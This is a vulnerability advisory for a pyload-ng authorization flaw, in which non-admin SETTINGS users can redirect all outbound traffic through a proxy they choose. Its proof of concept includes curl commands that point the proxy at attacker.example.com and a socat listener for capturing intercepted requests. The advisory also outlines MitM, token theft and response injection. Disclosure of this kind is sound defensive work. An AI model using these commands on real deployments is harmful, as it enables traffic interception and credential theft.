CVE-2026-42313: pyload-ng: non-admin SETTINGS users can redirect all outbound traffic through an attacker-controlled proxy

Summary

The setconfigvalue() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMINONLYCOREOPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.

Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.

This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy. fields are jointly required to weaponize the miss and are patched together.

Details

Writer — src/pyload/core/api/init.py, setconfigvalue() (around lines 215–290). The allowlist:

python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), # <-- credentials gated ("reconnect", "script"), ("webui", "host"), ("webui", "sslcertfile"), ("webui", "sslkeyfile"), ("webui", "sslcertchain"), ("webui", "usessl"), }

("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.

Reader — src/pyload/core/network/requestfactory.py:82-100:

python def getproxies(self): if not self.pyload.config.get("proxy", "enabled"): return {} proxytype = self.pyload.config.get("proxy", "type") proxyhost = self.pyload.config.get("proxy", "host") proxyport = self.pyload.config.get("proxy", "port") proxyusername = self.pyload.config.get("proxy", "username") or None proxypassword = self.pyload.config.get("proxy", "password") or None return {"type": proxytype, ..., "host": proxyhost, "port": proxyport, ...}

Sink — src/pyload/core/network/http/httprequest.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. getproxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.

PoC

Authenticated as any user with Perms.SETTINGS (non-admin role):

bash 1) Log in as the SETTINGS (non-admin) user. curl -c cookies.txt -X POST http://pyload.example:8000/api/login \ -d 'username=settingsuser&password=<password>'

2) Redirect all outbound traffic through attacker.example.com:8080. for kv in \ 'category=proxy&option=enabled&value=True' \ 'category=proxy&option=host&value=attacker.example.com' \ 'category=proxy&option=port&value=8080' \ 'category=proxy&option=type&value=http' ; do curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \ -d "$kv&section=core" done

3) Enqueue any download (or wait for any periodic update / captcha fetch). The attacker's server receives the full request — URL, query string (often carrying auth tokens on download sites), headers, cookies — and can inject an arbitrary response body.

Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. socat -v TCP-LISTEN:8080,fork,reuseaddr -), trigger any pyload download, and observe the full request on the listener.

Impact

- Who: any authenticated user whose role was granted Perms.SETTINGS. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius. - What: 1. Full interception of all outbound HTTP traffic: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker. 2. Credential theft from any download-site auth cookies or bearer tokens that affected plugins send. 3. Arbitrary response injection — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker. 4. Chains with the sibling sslverify advisory: if the attacker additionally sets general.sslverify=off (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what setconfigvalue already permits to a SETTINGS user. - Why gating the credentials alone is insufficient: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.